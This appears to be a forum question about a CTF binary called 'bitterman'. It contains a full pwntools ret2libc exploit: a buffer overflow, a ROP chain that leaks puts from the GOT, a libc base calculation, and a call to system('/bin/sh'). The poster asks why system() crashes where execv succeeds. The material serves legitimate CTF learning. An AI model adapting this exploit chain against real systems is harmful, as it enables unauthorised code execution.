I've followed some tutorials on writing a pwntools
-based exploit for the bitterman ELF binary, used in a CTF competition. However, all my attempts fail with the message below, i.e. Got EOF while reading in interactive
after having executed system("/bin/sh")
using a simple ROP chain:
nlykkei@ubuntu-dev:~$ python bitterman.py │ 27 p.recvuntil('Thanks!\n')
[+] Starting local process './bitterman': pid 6244 │ 28
[+] puts@glibc: 0x7fcbdc453010 │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
[+] offset: 0x7fcbdc3d2000 │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
[*] Switching to interactive mode │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
[*] Got EOF while reading in interactive │ 32
$ │ 33 #Stage 2
[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244) │ 34 libc_puts = 0x81010
[*] Got EOF while sending in interactive
Having traced the exploit using GDB, I can verify that system("/bin/sh")
gets executed with the clone
syscall returning a valid child PID. However, after the clone
syscall nothing really happens, and the parent process continue and crashes (bad return address).
What could be the problem? I'd be grateful if any experienced exploit developer or CTF entusiast could spot the error.
Update:
I just rewrote the exploit to use execv
front-end for execve
syscall, and then everything works as expected! (a shell is spawned)
system(..)
works by forking a child using clone
syscall, whereas execve
replaces the entire process. Any idea why system(..)
approach doesn't work?
https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman
https://www.youtube.com/watch?v=6S4A2nhHdWg
from pwn import *
#context(terminal=['tmux', 'new-window'])
p = process('./bitterman')
#p = gdb.debug('./bitterman', 'b main')
#context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'
# Stage 1
main = p64(0x4006ec) #0x400550
plt_puts = p64(0x400520)
got_puts = p64(0x600c50)
pop_rdi = p64(0x400853)
junk = 152*"A"
payload = junk + pop_rdi + got_puts + plt_puts + main
p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!\n')
#puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
#Stage 2
libc_puts = 0x81010
libc_system = 0x50300
libc_sh = 0x1aae80
offset = u64(puts_addr) - libc_puts
log.success('offset: {}'.format(hex(offset)))
system_addr = p64(libc_system + offset)
sh_addr = p64(libc_sh + offset)
payload = junk + pop_rdi + sh_addr + system_addr
p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!')
p.clean()
p.interactive()
exec
instead ofsystem
.